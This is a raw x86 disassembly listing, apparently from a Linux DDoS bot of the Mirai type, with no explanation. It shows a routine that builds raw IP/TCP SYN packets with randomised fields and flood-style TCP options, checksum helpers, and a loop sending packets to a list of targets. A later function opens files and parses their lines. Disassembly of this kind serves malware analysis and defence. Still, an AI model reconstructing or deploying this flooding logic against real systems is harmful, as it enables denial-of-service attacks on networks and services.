8049859: c6 43 09 06 movb $0x6,0x9(%ebx)
804985d: 8b 54 24 40 mov 0x40(%esp),%edx
8049861: 8b 4c 24 74 mov 0x74(%esp),%ecx
8049865: 89 53 0c mov %edx,0xc(%ebx)
8049868: 8b 44 24 58 mov 0x58(%esp),%eax
804986c: 8d 04 40 lea (%eax,%eax,2),%eax
804986f: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8049873: 89 43 10 mov %eax,0x10(%ebx)
8049876: 66 8b 44 24 3a mov 0x3a(%esp),%ax
804987b: 66 c1 c8 08 ror $0x8,%ax
804987f: 66 89 43 14 mov %ax,0x14(%ebx)
8049883: 8b 44 24 3c mov 0x3c(%esp),%eax
8049887: 66 c1 c8 08 ror $0x8,%ax
804988b: 66 89 46 02 mov %ax,0x2(%esi)
804988f: 66 8b 44 24 46 mov 0x46(%esp),%ax
8049894: 66 c1 c8 08 ror $0x8,%ax
8049898: 25 ff ff 00 00 and $0xffff,%eax
804989d: 89 46 04 mov %eax,0x4(%esi)
80498a0: 8a 46 0c mov 0xc(%esi),%al
80498a3: 83 e0 0f and $0xf,%eax
80498a6: 83 c8 a0 or $0xffffffa0,%eax
80498a9: 88 46 0c mov %al,0xc(%esi)
80498ac: 8a 46 0d mov 0xd(%esi),%al
80498af: 83 e0 cf and $0xffffffcf,%eax
80498b2: 8a 54 24 48 mov 0x48(%esp),%dl
80498b6: 0a 44 24 03 or 0x3(%esp),%al
80498ba: 8a 4c 24 49 mov 0x49(%esp),%cl
80498be: c1 e2 04 shl $0x4,%edx
80498c1: c1 e1 03 shl $0x3,%ecx
80498c4: 09 d0 or %edx,%eax
80498c6: 83 e0 f3 and $0xfffffff3,%eax
80498c9: 8a 54 24 4a mov 0x4a(%esp),%dl
80498cd: c1 e2 02 shl $0x2,%edx
80498d0: 09 c8 or %ecx,%eax
80498d2: 09 d0 or %edx,%eax
80498d4: 8a 54 24 4b mov 0x4b(%esp),%dl
80498d8: 01 d2 add %edx,%edx
80498da: 83 e0 fc and $0xfffffffc,%eax
80498dd: 09 d0 or %edx,%eax
80498df: 09 f8 or %edi,%eax
80498e1: 88 46 0d mov %al,0xd(%esi)
80498e4: c6 43 28 02 movb $0x2,0x28(%ebx)
80498e8: c6 43 29 04 movb $0x4,0x29(%ebx)
80498ec: e8 5f 1a 00 00 call 0x804b350
80498f1: c6 43 2c 04 movb $0x4,0x2c(%ebx)
80498f5: 83 e0 0f and $0xf,%eax
80498f8: c6 43 2d 02 movb $0x2,0x2d(%ebx)
80498fc: 05 78 05 00 00 add $0x578,%eax
8049901: c6 43 2e 08 movb $0x8,0x2e(%ebx)
8049905: 66 c1 c8 08 ror $0x8,%ax
8049909: c6 43 2f 0a movb $0xa,0x2f(%ebx)
804990d: 66 89 43 2a mov %ax,0x2a(%ebx)
8049911: e8 3a 1a 00 00 call 0x804b350
8049916: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx)
804991d: 89 43 30 mov %eax,0x30(%ebx)
8049920: c6 43 38 01 movb $0x1,0x38(%ebx)
8049924: c6 43 39 03 movb $0x3,0x39(%ebx)
8049928: c6 43 3a 03 movb $0x3,0x3a(%ebx)
804992c: c6 43 3b 06 movb $0x6,0x3b(%ebx)
8049930: 8b 5c 24 58 mov 0x58(%esp),%ebx
8049934: 43 inc %ebx
8049935: 89 5c 24 58 mov %ebx,0x58(%esp)
8049939: 39 dd cmp %ebx,%ebp
804993b: 0f 8f c5 fe ff ff jg 0x8049806
8049941: 85 ed test %ebp,%ebp
8049943: 7e fe jle 0x8049943
8049945: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp)
804994c: 00
804994d: 31 c0 xor %eax,%eax
804994f: 8b 54 24 04 mov 0x4(%esp),%edx
8049953: 8b 4c 24 74 mov 0x74(%esp),%ecx
8049957: 8b 34 82 mov (%edx,%eax,4),%esi
804995a: 8d 04 40 lea (%eax,%eax,2),%eax
804995d: 8d 04 c1 lea (%ecx,%eax,8),%eax
8049960: 8d 7e 14 lea 0x14(%esi),%edi
8049963: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8049967: 0f 86 d1 00 00 00 jbe 0x8049a3e
804996d: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp)
8049972: 0f 84 0b 01 00 00 je 0x8049a83
8049978: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp)
804997e: 0f 84 13 01 00 00 je 0x8049a97
8049984: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
804998a: 0f 84 1c 01 00 00 je 0x8049aac
8049990: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp)
8049996: 0f 84 25 01 00 00 je 0x8049ac1
804999c: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp)
80499a3: 00
80499a4: 0f 84 2e 01 00 00 je 0x8049ad8
80499aa: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
80499b1: 00
80499b2: 0f 84 36 01 00 00 je 0x8049aee
80499b8: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp)
80499bd: 0f 85 3e 01 00 00 jne 0x8049b01
80499c3: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
80499c9: 51 push %ecx
80499ca: 51 push %ecx
80499cb: 6a 14 push $0x14
80499cd: 56 push %esi
80499ce: e8 5d 01 00 00 call 0x8049b30
80499d3: 66 89 46 0a mov %ax,0xa(%esi)
80499d7: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
80499dd: 6a 28 push $0x28
80499df: 68 00 28 00 00 push $0x2800
80499e4: 57 push %edi
80499e5: 56 push %esi
80499e6: e8 95 01 00 00 call 0x8049b80
80499eb: 8b 8c 24 94 00 00 00 mov 0x94(%esp),%ecx
80499f2: 66 89 47 10 mov %ax,0x10(%edi)
80499f6: 8b 44 24 78 mov 0x78(%esp),%eax
80499fa: 66 8b 57 02 mov 0x2(%edi),%dx
80499fe: 83 c4 18 add $0x18,%esp
8049a01: 8d 04 40 lea (%eax,%eax,2),%eax
8049a04: c1 e0 03 shl $0x3,%eax
8049a07: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
8049a0c: 01 c8 add %ecx,%eax
8049a0e: 6a 10 push $0x10
8049a10: 50 push %eax
8049a11: 68 00 40 00 00 push $0x4000
8049a16: 6a 3c push $0x3c
8049a18: 56 push %esi
8049a19: 8b 54 24 4c mov 0x4c(%esp),%edx
8049a1d: 52 push %edx
8049a1e: e8 7e 2d 00 00 call 0x804c7a1
8049a23: 8b 44 24 78 mov 0x78(%esp),%eax
8049a27: 40 inc %eax
8049a28: 89 44 24 78 mov %eax,0x78(%esp)
8049a2c: 83 c4 20 add $0x20,%esp
8049a2f: 39 e8 cmp %ebp,%eax
8049a31: 0f 8c 18 ff ff ff jl 0x804994f
8049a37: 85 ed test %ebp,%ebp
8049a39: e9 05 ff ff ff jmp 0x8049943
8049a3e: 8b 58 10 mov 0x10(%eax),%ebx
8049a41: e8 0a 19 00 00 call 0x804b350
8049a46: 66 c1 cb 08 ror $0x8,%bx
8049a4a: c1 cb 10 ror $0x10,%ebx
8049a4d: 66 c1 cb 08 ror $0x8,%bx
8049a51: 8b 54 24 58 mov 0x58(%esp),%edx
8049a55: 8d 0c 52 lea (%edx,%edx,2),%ecx
8049a58: 8b 54 24 74 mov 0x74(%esp),%edx
8049a5c: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8049a60: 81 e1 ff 00 00 00 and $0xff,%ecx
8049a66: d3 e8 shr %cl,%eax
8049a68: 01 d8 add %ebx,%eax
8049a6a: 66 c1 c8 08 ror $0x8,%ax
8049a6e: c1 c8 10 ror $0x10,%eax
8049a71: 66 c1 c8 08 ror $0x8,%ax
8049a75: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp)
8049a7a: 89 46 10 mov %eax,0x10(%esi)
8049a7d: 0f 85 f5 fe ff ff jne 0x8049978
8049a83: e8 c8 18 00 00 call 0x804b350
8049a88: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp)
8049a8e: 89 46 0c mov %eax,0xc(%esi)
8049a91: 0f 85 ed fe ff ff jne 0x8049984
8049a97: e8 b4 18 00 00 call 0x804b350
8049a9c: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049aa2: 66 89 46 04 mov %ax,0x4(%esi)
8049aa6: 0f 85 e4 fe ff ff jne 0x8049990
8049aac: e8 9f 18 00 00 call 0x804b350
8049ab1: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp)
8049ab7: 66 89 46 14 mov %ax,0x14(%esi)
8049abb: 0f 85 db fe ff ff jne 0x804999c
8049ac1: e8 8a 18 00 00 call 0x804b350
8049ac6: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp)
8049acd: 00
8049ace: 66 89 47 02 mov %ax,0x2(%edi)
8049ad2: 0f 85 d2 fe ff ff jne 0x80499aa
8049ad8: e8 73 18 00 00 call 0x804b350
8049add: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
8049ae4: 00
8049ae5: 89 47 04 mov %eax,0x4(%edi)
8049ae8: 0f 85 ca fe ff ff jne 0x80499b8
8049aee: e8 5d 18 00 00 call 0x804b350
8049af3: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp)
8049af8: 89 47 08 mov %eax,0x8(%edi)
8049afb: 0f 84 c2 fe ff ff je 0x80499c3
8049b01: e8 4a 18 00 00 call 0x804b350
8049b06: 66 89 47 12 mov %ax,0x12(%edi)
8049b0a: e9 b4 fe ff ff jmp 0x80499c3
8049b0f: 83 ec 0c sub $0xc,%esp
8049b12: 8b 7c 24 3c mov 0x3c(%esp),%edi
8049b16: 57 push %edi
8049b17: e8 b7 25 00 00 call 0x804c0d3
8049b1c: 83 c4 10 add $0x10,%esp
8049b1f: 83 c4 5c add $0x5c,%esp
8049b22: 5b pop %ebx
8049b23: 5e pop %esi
8049b24: 5f pop %edi
8049b25: 5d pop %ebp
8049b26: c3 ret
8049b27: 90 nop
8049b28: 90 nop
8049b29: 90 nop
8049b2a: 90 nop
8049b2b: 90 nop
8049b2c: 90 nop
8049b2d: 90 nop
8049b2e: 90 nop
8049b2f: 90 nop
8049b30: 53 push %ebx
8049b31: 31 db xor %ebx,%ebx
8049b33: 8b 4c 24 0c mov 0xc(%esp),%ecx
8049b37: 8b 54 24 08 mov 0x8(%esp),%edx
8049b3b: 83 f9 01 cmp $0x1,%ecx
8049b3e: 76 15 jbe 0x8049b55
8049b40: 66 8b 02 mov (%edx),%ax
8049b43: 83 e9 02 sub $0x2,%ecx
8049b46: 25 ff ff 00 00 and $0xffff,%eax
8049b4b: 83 c2 02 add $0x2,%edx
8049b4e: 01 c3 add %eax,%ebx
8049b50: 83 f9 01 cmp $0x1,%ecx
8049b53: 77 eb ja 0x8049b40
8049b55: 49 dec %ecx
8049b56: 75 05 jne 0x8049b5d
8049b58: 0f be 02 movsbl (%edx),%eax
8049b5b: 01 c3 add %eax,%ebx
8049b5d: 89 d8 mov %ebx,%eax
8049b5f: 0f b7 d3 movzwl %bx,%edx
8049b62: c1 e8 10 shr $0x10,%eax
8049b65: 5b pop %ebx
8049b66: 01 d0 add %edx,%eax
8049b68: 89 c2 mov %eax,%edx
8049b6a: c1 ea 10 shr $0x10,%edx
8049b6d: 01 d0 add %edx,%eax
8049b6f: 83 f0 ff xor $0xffffffff,%eax
8049b72: 25 ff ff 00 00 and $0xffff,%eax
8049b77: c3 ret
8049b78: 90 nop
8049b79: 90 nop
8049b7a: 90 nop
8049b7b: 90 nop
8049b7c: 90 nop
8049b7d: 90 nop
8049b7e: 90 nop
8049b7f: 90 nop
8049b80: 55 push %ebp
8049b81: 57 push %edi
8049b82: 56 push %esi
8049b83: 53 push %ebx
8049b84: 83 ec 04 sub $0x4,%esp
8049b87: 31 db xor %ebx,%ebx
8049b89: 8b 74 24 18 mov 0x18(%esp),%esi
8049b8d: 8b 4c 24 24 mov 0x24(%esp),%ecx
8049b91: 8b 44 24 20 mov 0x20(%esp),%eax
8049b95: 8b 54 24 1c mov 0x1c(%esp),%edx
8049b99: 66 89 44 24 02 mov %ax,0x2(%esp)
8049b9e: 8b 7e 0c mov 0xc(%esi),%edi
8049ba1: 8b 6e 10 mov 0x10(%esi),%ebp
8049ba4: 83 f9 01 cmp $0x1,%ecx
8049ba7: 7e 1c jle 0x8049bc5
8049ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8049bb0: 66 8b 02 mov (%edx),%ax
8049bb3: 83 e9 02 sub $0x2,%ecx
8049bb6: 25 ff ff 00 00 and $0xffff,%eax
8049bbb: 83 c2 02 add $0x2,%edx
8049bbe: 01 c3 add %eax,%ebx
8049bc0: 83 f9 01 cmp $0x1,%ecx
8049bc3: 7f eb jg 0x8049bb0
8049bc5: 49 dec %ecx
8049bc6: 74 64 je 0x8049c2c
8049bc8: 89 e9 mov %ebp,%ecx
8049bca: 31 c0 xor %eax,%eax
8049bcc: c1 e9 10 shr $0x10,%ecx
8049bcf: 8a 46 09 mov 0x9(%esi),%al
8049bd2: 66 c1 c8 08 ror $0x8,%ax
8049bd6: 8d 0c 0b lea (%ebx,%ecx,1),%ecx
8049bd9: 25 ff ff 00 00 and $0xffff,%eax
8049bde: 01 c1 add %eax,%ecx
8049be0: 89 fa mov %edi,%edx
8049be2: 89 f8 mov %edi,%eax
8049be4: 81 e2 ff ff 00 00 and $0xffff,%edx
8049bea: c1 e8 10 shr $0x10,%eax
8049bed: 01 d0 add %edx,%eax
8049bef: 89 ea mov %ebp,%edx
8049bf1: 81 e2 ff ff 00 00 and $0xffff,%edx
8049bf7: 01 d0 add %edx,%eax
8049bf9: 66 8b 54 24 02 mov 0x2(%esp),%dx
8049bfe: 81 e2 ff ff 00 00 and $0xffff,%edx
8049c04: 01 d0 add %edx,%eax
8049c06: 8d 04 01 lea (%ecx,%eax,1),%eax
8049c09: 89 c2 mov %eax,%edx
8049c0b: c1 ea 10 shr $0x10,%edx
8049c0e: 74 0e je 0x8049c1e
8049c10: 25 ff ff 00 00 and $0xffff,%eax
8049c15: 01 d0 add %edx,%eax
8049c17: 89 c2 mov %eax,%edx
8049c19: c1 ea 10 shr $0x10,%edx
8049c1c: 75 f2 jne 0x8049c10
8049c1e: 83 f0 ff xor $0xffffffff,%eax
8049c21: 5a pop %edx
8049c22: 25 ff ff 00 00 and $0xffff,%eax
8049c27: 5b pop %ebx
8049c28: 5e pop %esi
8049c29: 5f pop %edi
8049c2a: 5d pop %ebp
8049c2b: c3 ret
8049c2c: 31 c0 xor %eax,%eax
8049c2e: 8a 02 mov (%edx),%al
8049c30: 01 c3 add %eax,%ebx
8049c32: eb 94 jmp 0x8049bc8
8049c34: 90 nop
8049c35: 90 nop
8049c36: 90 nop
8049c37: 90 nop
8049c38: 90 nop
8049c39: 90 nop
8049c3a: 90 nop
8049c3b: 90 nop
8049c3c: 90 nop
8049c3d: 90 nop
8049c3e: 90 nop
8049c3f: 90 nop
8049c40: 55 push %ebp
8049c41: 57 push %edi
8049c42: 56 push %esi
8049c43: 53 push %ebx
8049c44: 81 ec 3c 22 00 00 sub $0x223c,%esp
8049c4a: 8d bc 24 1b 20 00 00 lea 0x201b(%esp),%edi
8049c51: 8b 9c 24 50 22 00 00 mov 0x2250(%esp),%ebx
8049c58: c7 84 24 2c 22 00 00 movl $0x0,0x222c(%esp)
8049c5f: 00 00 00 00
8049c63: c7 84 24 30 22 00 00 movl $0x0,0x2230(%esp)
8049c6a: 00 00 00 00
8049c6e: c7 84 24 34 22 00 00 movl $0x0,0x2234(%esp)
8049c75: 00 00 00 00
8049c79: c7 84 24 38 22 00 00 movl $0x0,0x2238(%esp)
8049c80: 00 00 00 00
8049c84: 50 push %eax
8049c85: 68 01 02 00 00 push $0x201
8049c8a: 6a 00 push $0x0
8049c8c: 57 push %edi
8049c8d: e8 75 29 00 00 call 0x804c607
8049c92: 83 c4 0c add $0xc,%esp
8049c95: 66 c1 cb 08 ror $0x8,%bx
8049c99: 68 00 10 00 00 push $0x1000
8049c9e: 6a 00 push $0x0
8049ca0: 8d 44 24 27 lea 0x27(%esp),%eax
8049ca4: 81 e3 ff ff 00 00 and $0xffff,%ebx
8049caa: 50 push %eax
8049cab: e8 57 29 00 00 call 0x804c607
8049cb0: 83 c4 0c add $0xc,%esp
8049cb3: 68 00 10 00 00 push $0x1000
8049cb8: 6a 00 push $0x0
8049cba: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049cc1: 52 push %edx
8049cc2: e8 40 29 00 00 call 0x804c607
8049cc7: 83 c4 0c add $0xc,%esp
8049cca: 8d 84 24 20 22 00 00 lea 0x2220(%esp),%eax
8049cd1: 50 push %eax
8049cd2: 6a 10 push $0x10
8049cd4: 53 push %ebx
8049cd5: e8 96 22 00 00 call 0x804bf70
8049cda: 5d pop %ebp
8049cdb: 8d 94 24 28 22 00 00 lea 0x2228(%esp),%edx
8049ce2: 52 push %edx
8049ce3: e8 18 1f 00 00 call 0x804bc00
8049ce8: 83 c4 10 add $0x10,%esp
8049ceb: 83 f8 02 cmp $0x2,%eax
8049cee: 0f 84 44 05 00 00 je 0x804a238
8049cf4: 83 ec 0c sub $0xc,%esp
8049cf7: 6a 0d push $0xd
8049cf9: e8 32 19 00 00 call 0x804b630
8049cfe: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8049d05: e8 26 19 00 00 call 0x804b630
8049d0a: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
8049d11: e8 1a 19 00 00 call 0x804b630
8049d16: c7 04 24 11 00 00 00 movl $0x11,(%esp)
8049d1d: e8 0e 19 00 00 call 0x804b630
8049d22: 5b pop %ebx
8049d23: 5e pop %esi
8049d24: 6a 00 push $0x0
8049d26: 6a 11 push $0x11
8049d28: e8 53 18 00 00 call 0x804b580
8049d2d: 5a pop %edx
8049d2e: 59 pop %ecx
8049d2f: 31 db xor %ebx,%ebx
8049d31: 6a 00 push $0x0
8049d33: 50 push %eax
8049d34: e8 ab 24 00 00 call 0x804c1e4
8049d39: 83 c4 10 add $0x10,%esp
8049d3c: 89 c5 mov %eax,%ebp
8049d3e: 83 f8 ff cmp $0xffffffff,%eax
8049d41: 0f 84 8a 04 00 00 je 0x804a1d1
8049d47: 50 push %eax
8049d48: 55 push %ebp
8049d49: 68 00 02 00 00 push $0x200
8049d4e: 57 push %edi
8049d4f: e8 7c 20 00 00 call 0x804bdd0
8049d54: 83 c4 10 add $0x10,%esp
8049d57: 85 c0 test %eax,%eax
8049d59: 0f 84 1f 01 00 00 je 0x8049e7e
8049d5f: 8a 84 24 1b 20 00 00 mov 0x201b(%esp),%al
8049d66: 84 c0 test %al,%al
8049d68: 0f 84 22 04 00 00 je 0x804a190
8049d6e: 31 d2 xor %edx,%edx
8049d70: 3c 3a cmp $0x3a,%al
8049d72: 0f 84 18 04 00 00 je 0x804a190
8049d78: 42 inc %edx
8049d79: 8a 04 3a mov (%edx,%edi,1),%al
8049d7c: 84 c0 test %al,%al
8049d7e: 74 c7 je 0x8049d47
8049d80: 3c 3a cmp $0x3a,%al
8049d82: 75 f4 jne 0x8049d78
8049d84: 84 c0 test %al,%al
8049d86: 74 bf je 0x8049d47
8049d88: 8d 4a 02 lea 0x2(%edx),%ecx
8049d8b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al
8049d92: 84 c0 test %al,%al
8049d94: 0f 84 fd 03 00 00 je 0x804a197
8049d9a: 3c 20 cmp $0x20,%al
8049d9c: 0f 84 f5 03 00 00 je 0x804a197
8049da2: 8d 04 17 lea (%edi,%edx,1),%eax
8049da5: 8a 50 03 mov 0x3(%eax),%dl
8049da8: 40 inc %eax
8049da9: 84 d2 test %dl,%dl
8049dab: 74 05 je 0x8049db2
8049dad: 80 fa 20 cmp $0x20,%dl
8049db0: 75 f3 jne 0x8049da5
8049db2: 29 f8 sub %edi,%eax
8049db4: 8d 70 02 lea 0x2(%eax),%esi
8049db7: c6 84 34 1b 20 00 00 movb $0x0,0x201b(%esp,%esi,1)
8049dbe: 00
8049dbf: 83 ec 0c sub $0xc,%esp
8049dc2: 8d 1c 0f lea (%edi,%ecx,1),%ebx
8049dc5: 53 push %ebx
8049dc6: e8 35 1e 00 00 call 0x804bc00
8049dcb: 83 c4 0c add $0xc,%esp
8049dce: 8d 94 24 20 22 00 00 lea 0x2220(%esp),%edx
8049dd5: 52 push %edx
8049dd6: 50 push %eax
8049dd7: 53 push %ebx
8049dd8: e8 c3 20 00 00 call 0x804bea0
8049ddd: 83 c4 10 add $0x10,%esp
8049de0: 40 inc %eax
8049de1: 0f 84 60 ff ff ff je 0x8049d47
8049de7: 8d 4e 01 lea 0x1(%esi),%ecx
8049dea: 8d 14 37 lea (%edi,%esi,1),%edx
8049ded: 31 db xor %ebx,%ebx
8049def: 31 f6 xor %esi,%esi
8049df1: c6 44 24 0b 00 movb $0x0,0xb(%esp)
8049df6: 8a 42 02 mov 0x2(%edx),%al
8049df9: 41 inc %ecx
8049dfa: 84 c0 test %al,%al
8049dfc: 74 20 je 0x8049e1e
8049dfe: 3c 20 cmp $0x20,%al
8049e00: 0f 84 82 03 00 00 je 0x804a188
8049e06: 3c 09 cmp $0x9,%al
8049e08: 0f 84 7a 03 00 00 je 0x804a188
8049e0e: fe cb dec %bl
8049e10: 0f 84 5a 03 00 00 je 0x804a170
8049e16: 31 db xor %ebx,%ebx
8049e18: 42 inc %edx
8049e19: 83 fe 06 cmp $0x6,%esi
8049e1c: 7e d8 jle 0x8049df6
8049e1e: 89 ca mov %ecx,%edx
8049e20: 80 7c 24 0b 00 cmpb $0x0,0xb(%esp)
8049e25: 0f 84 1c ff ff ff je 0x8049d47
8049e2b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al
8049e32: 84 c0 test %al,%al
8049e34: 74 15 je 0x8049e4b
8049e36: 3c 20 cmp $0x20,%al
8049e38: 74 11 je 0x8049e4b
8049e3a: 8d 04 0f lea (%edi,%ecx,1),%eax
8049e3d: 8a 58 01 mov 0x1(%eax),%bl
8049e40: 41 inc %ecx
8049e41: 40 inc %eax
8049e42: 84 db test %bl,%bl
8049e44: 74 05 je 0x8049e4b
8049e46: 80 fb 20 cmp $0x20,%bl
8049e49: 75 f2 jne 0x8049e3d
8049e4b: c6 84 0c 1b 20 00 00 movb $0x0,0x201b(%esp,%ecx,1)
8049e52: 00
8049e53: 83 ec 0c sub $0xc,%esp
8049e56: 8d 1c 17 lea (%edi,%edx,1),%ebx
8049e59: 53 push %ebx
8049e5a: e8 a1 1d 00 00 call 0x804bc00
8049e5f: 83 c4 10 add $0x10,%esp
8049e62: 83 f8 0f cmp $0xf,%eax
8049e65: 0f 8f dc fe ff ff jg 0x8049d47
8049e6b: 50 push %eax
8049e6c: 50 push %eax
8049e6d: 53 push %ebx
8049e6e: 8d 84 24 38 22 00 00 lea 0x2238(%esp),%eax
8049e75: 50 push %eax
8049e76: e8 a5 1d 00 00 call 0x804bc20
8049e7b: 83 c4 10 add $0x10,%esp
8049e7e: 83 ec 0c sub $0xc,%esp
8049e81: 55 push %ebp
8049e82: e8 4c 22 00 00 call 0x804c0d3
8049e87: 58 pop %eax
8049e88: 8d 94 24 38 22 00 00 lea 0x2238(%esp),%edx
8049e8f: 52 push %edx
8049e90: e8 6b 1d 00 00 call 0x804bc00
8049e95: 83 c4 10 add $0x10,%esp
8049e98: 85 c0 test %eax,%eax
8049e9a: 0f 84 fe 02 00 00 je 0x804a19e
8049ea0: 50 push %eax
8049ea1: 50 push %eax
8049ea2: 6a 00 push $0x0
8049ea4: 6a 0d push $0xd
8049ea6: e8 d5 16 00 00 call 0x804b580
8049eab: 31 db xor %ebx,%ebx
8049ead: 89 04 24 mov %eax,(%esp)
8049eb0: e8 8c 25 00 00 call 0x804c441
8049eb5: 89 44 24 10 mov %eax,0x10(%esp)
8049eb9: 83 c4 10 add $0x10,%esp
8049ebc: 85 c0 test %eax,%eax
8049ebe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8049ec5: 00
8049ec6: 0f 84 2e 03 00 00 je 0x804a1fa
8049ecc: 83 ec 0c sub $0xc,%esp
8049ecf: 8b 5c 24 0c mov 0xc(%esp),%ebx
8049ed3: 53 push %ebx
8049ed4: e8 59 26 00 00 call 0x804c532
8049ed9: 83 c4 10 add $0x10,%esp
8049edc: 85 c0 test %eax,%eax
8049ede: 0f 84 01 03 00 00 je 0x804a1e5
8049ee4: 8b 4c 24 04 mov 0x4(%esp),%ecx
8049ee8: 85 c9 test %ecx,%ecx
8049eea: 0f 85 f5 02 00 00 jne 0x804a1e5
8049ef0: 8d 78 0b lea 0xb(%eax),%edi
8049ef3: 8a 40 0b mov 0xb(%eax),%al
8049ef6: 83 e8 30 sub $0x30,%eax
8049ef9: 3c 09 cmp $0x9,%al
8049efb: 77 cf ja 0x8049ecc
8049efd: 50 push %eax
8049efe: 50 push %eax
8049eff: 6a 00 push $0x0
8049f01: 6a 0d push $0xd
8049f03: e8 78 16 00 00 call 0x804b580
8049f08: 5e pop %esi
8049f09: 5d pop %ebp
8049f0a: 50 push %eax
8049f0b: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049f12: 50 push %eax
8049f13: e8 08 1d 00 00 call 0x804bc20
8049f18: 5b pop %ebx
8049f19: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f20: 52 push %edx
8049f21: e8 da 1c 00 00 call 0x804bc00
8049f26: 5a pop %edx
8049f27: 59 pop %ecx
8049f28: 57 push %edi
8049f29: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f30: 8d 04 02 lea (%edx,%eax,1),%eax
8049f33: 50 push %eax
8049f34: e8 e7 1c 00 00 call 0x804bc20
8049f39: 5d pop %ebp
8049f3a: 58 pop %eax
8049f3b: 6a 00 push $0x0
8049f3d: 6a 0e push $0xe
8049f3f: e8 3c 16 00 00 call 0x804b580
8049f44: 5e pop %esi
8049f45: 89 c3 mov %eax,%ebx
8049f47: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049f4e: 50 push %eax
8049f4f: e8 ac 1c 00 00 call 0x804bc00
8049f54: 5a pop %edx
8049f55: 59 pop %ecx
8049f56: 53 push %ebx
8049f57: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f5e: 8d 04 02 lea (%edx,%eax,1),%eax
8049f61: 50 push %eax
8049f62: e8 b9 1c 00 00 call 0x804bc20
8049f67: 83 c4 0c add $0xc,%esp
8049f6a: 68 00 10 00 00 push $0x1000
8049f6f: 8d 44 24 23 lea 0x23(%esp),%eax
8049f73: 50 push %eax
8049f74: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f7b: 52 push %edx
8049f7c: e8 23 23 00 00 call 0x804c2a4
8049f81: 83 c4 10 add $0x10,%esp
8049f84: 40 inc %eax
8049f85: 0f 84 41 ff ff ff je 0x8049ecc
8049f8b: 50 push %eax
8049f8c: 50 push %eax
8049f8d: 6a 00 push $0x0
8049f8f: 6a 0d push $0xd
8049f91: e8 ea 15 00 00 call 0x804b580
8049f96: 5e pop %esi
8049f97: 5d pop %ebp
8049f98: 50 push %eax
8049f99: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049fa0: 50 push %eax
8049fa1: e8 7a 1c 00 00 call 0x804bc20
8049fa6: 5b pop %ebx
8049fa7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fae: 52 push %edx
8049faf: e8 4c 1c 00 00 call 0x804bc00
8049fb4: 5a pop %edx
8049fb5: 59 pop %ecx
8049fb6: 57 push %edi
8049fb7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fbe: 8d 04 02 lea (%edx,%eax,1),%eax
8049fc1: 50 push %eax
8049fc2: e8 59 1c 00 00 call 0x804bc20
8049fc7: 5d pop %ebp
8049fc8: 58 pop %eax
8049fc9: 6a 00 push $0x0
8049fcb: 6a 0f push $0xf
8049fcd: e8 ae 15 00 00 call 0x804b580
8049fd2: 5e pop %esi
8049fd3: 89 c3 mov %eax,%ebx
8049fd5: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049fdc: 50 push %eax
8049fdd: e8 1e 1c 00 00 call 0x804bc00
8049fe2: 5a pop %edx
8049fe3: 59 pop %ecx
8049fe4: 53 push %ebx
8049fe5: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fec: 8d 04 02 lea (%edx,%eax,1),%eax
8049fef: 50 push %eax
8049ff0: e8 2b 1c 00 00 call 0x804bc20
8049ff5: 58 pop %eax
8049ff6: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049ffd: 50 push %eax
8049ffe: e8 3e 24 00 00 call 0x804c441
804a003: 83 c4 10 add $0x10,%esp
804a006: 89 c5 mov %eax,%ebp
804a008: 85 c0 test %eax,%eax
804a00a: 0f 84 bc fe ff ff je 0x8049ecc
804a010: 83 ec 0c sub $0xc,%esp
804a013: 55 push %ebp
804a014: e8 19 25 00 00 call 0x804c532
804a019: 83 c4 10 add $0x10,%esp
804a01c: 89 c6 mov %eax,%esi
804a01e: 85 c0 test %eax,%eax
804a020: 0f 84 4b 02 00 00 je 0x804a271
804a026: 8b 44 24 04 mov 0x4(%esp),%eax
804a02a: 85 c0 test %eax,%eax
804a02c: 0f 85 3f 02 00 00 jne 0x804a271
804a032: 50 push %eax
804a033: 50 push %eax
804a034: 68 00 10 00 00 push $0x1000
804a039: 8d 54 24 27 lea 0x27(%esp),%edx
804a03d: 52 push %edx
804a03e: e8 4d 1c 00 00 call 0x804bc90
804a043: 5b pop %ebx
804a044: 58 pop %eax
804a045: 6a 00 push $0x0
